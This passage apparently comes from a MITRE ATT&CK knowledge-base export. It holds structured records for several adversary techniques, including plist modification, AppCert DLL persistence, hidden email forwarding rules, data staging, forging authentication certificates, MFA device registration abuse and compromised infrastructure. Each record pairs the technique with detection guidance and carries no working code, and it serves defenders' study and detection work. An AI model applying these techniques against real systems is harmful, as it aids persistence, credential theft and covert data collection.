For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1647",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1647"
},
{
"description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
"external_id": null,
"source_name": "eset_osx_flashback",
"url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
},
{
"description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "fileinfo plist file description",
"url": "https://fileinfo.com/extension/plist"
},
{
"description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
"external_id": null,
"source_name": "wardle chp2 persistence",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>\~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>.
Monitor for plist file modification immediately followed by code execution from <code>\~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.
Identify new services executed from plist modified in the previous user's session. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T14:47:41.795000Z" | "2020-11-10T18:29:31.052000Z" | AppCert DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/009"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
"external_id": null,
"source_name": "Sysinternals AppCertDlls Oct 2007",
"url": "https://forum.sysinternals.com/appcertdlls_topic12546.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)
Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-19T18:54:47.103000Z" | "2023-04-12T20:47:47.583000Z" | Email Forwarding Rule | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)
Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)
In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1114.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1114/003"
},
{
"description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
"external_id": null,
"source_name": "Mac Forwarding Rules",
"url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
},
{
"description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Pfammatter - Hidden Inbox Rules",
"url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
},
{
"description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
"url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
},
{
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Microsoft Mail Flow Rules 2023",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"external_id": null,
"source_name": "US-CERT TA18-068A 2018",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)
Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Office 365",
"Windows",
"Google Workspace",
"macOS",
"Linux"
] | 1.3 |
attack-pattern | attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:58.938000Z" | "2022-07-20T20:07:40.167000Z" | Data Staged | Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)
In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)
Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1074",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1074"
},
{
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.",
"external_id": null,
"source_name": "Mandiant M-Trends 2020",
"url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020"
},
{
"description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
"external_id": null,
"source_name": "PWC Cloud Hopper April 2017",
"url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS"
] | 1.4 |
attack-pattern | attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-08-03T03:20:58.955000Z" | "2023-03-02T19:06:41.828000Z" | Steal or Forge Authentication Certificates | Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)
Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.
Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1649",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1649"
},
{
"description": "HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.",
"external_id": null,
"source_name": "GitHub GhostPack Certificates",
"url": "https://github.com/GhostPack/SharpDPAPI#certificates"
},
{
"description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.",
"external_id": null,
"source_name": "Microsoft AD CS Overview",
"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)"
},
{
"description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.",
"external_id": null,
"source_name": "Medium Certified Pre Owned",
"url": "https://posts.specterops.io/certified-pre-owned-d95910965cd2"
},
{
"description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.",
"external_id": null,
"source_name": "SpecterOps Certified Pre Owned",
"url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"
},
{
"description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.",
"external_id": null,
"source_name": "O365 Blog Azure AD Device IDs",
"url": "https://o365blog.com/post/deviceidentity/"
},
{
"description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.",
"external_id": null,
"source_name": "GitHub CertStealer",
"url": "https://github.com/TheWover/CertStealer"
},
{
"description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.",
"external_id": null,
"source_name": "APT29 Deep Look at Credential Roaming",
"url": "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS",
"Azure AD"
] | 1.1 |
|
attack-pattern | attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-03-04T18:30:38.989000Z" | "2023-10-03T17:38:39.065000Z" | Device Registration | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)
Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1098.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/005"
},
{
"description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022.",
"external_id": null,
"source_name": "CISA MFA PrintNightmare",
"url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
},
{
"description": "Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
"external_id": null,
"source_name": "Mandiant APT29 Microsoft 365 2022",
"url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
},
{
"description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.",
"external_id": null,
"source_name": "AADInternals - Conditional Access Bypass",
"url": "https://o365blog.com/post/mdm"
},
{
"description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.",
"external_id": null,
"source_name": "AADInternals - BPRT",
"url": "https://o365blog.com/post/bprt/"
},
{
"description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.",
"external_id": null,
"source_name": "AADInternals - Device Registration",
"url": "https://o365blog.com/post/devices/"
},
{
"description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.",
"external_id": null,
"source_name": "DarkReading FireEye SolarWinds",
"url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"
},
{
"description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022.",
"external_id": null,
"source_name": "Microsoft - Device Registration",
"url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"
},
{
"description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
"external_id": null,
"source_name": "Microsoft DEV-0537",
"url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"Windows",
"SaaS"
] | 1.2 |
|
attack-pattern | attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:45.139000Z" | "2022-09-06T22:35:34.231000Z" | System Network Connections Discovery | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1049",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1049"
},
{
"description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Amazon AWS VPC Guide",
"url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"
},
{
"description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Microsoft Azure Virtual Network Overview",
"url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
},
{
"description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Google VPC Overview",
"url": "https://cloud.google.com/vpc/docs/vpc"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS",
"Network"
] | 2.4 |
attack-pattern | attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:36:30.759000Z" | "2024-03-28T03:53:28.299000Z" | Compromise Infrastructure | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)
By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1584",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584"
},
{
"description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.",
"external_id": null,
"source_name": "amnesty_nso_pegasus",
"url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
},
{
"description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
"external_id": null,
"source_name": "Sysdig Proxyjacking",
"url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
},
{
"description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
"external_id": null,
"source_name": "FireEye DNS Hijack 2019",
"url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
},
{
"description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "ICANNDomainNameHijacking",
"url": "https://www.icann.org/groups/ssac/documents/sac-007-en"
},
{
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Koczwara Beacon Hunting Sep 2021",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"description": "Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.",
"external_id": null,
"source_name": "Mandiant APT1",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
"external_id": null,
"source_name": "Talos DNSpionage Nov 2018",
"url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
},
{
"description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "NSA NCSC Turla OilRig",
"url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
},
{
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Mandiant SCANdalous Jul 2020",
"url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
},
{
"description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
"external_id": null,
"source_name": "FireEye EPS Awakens Part 2",
"url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.
Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.5 |
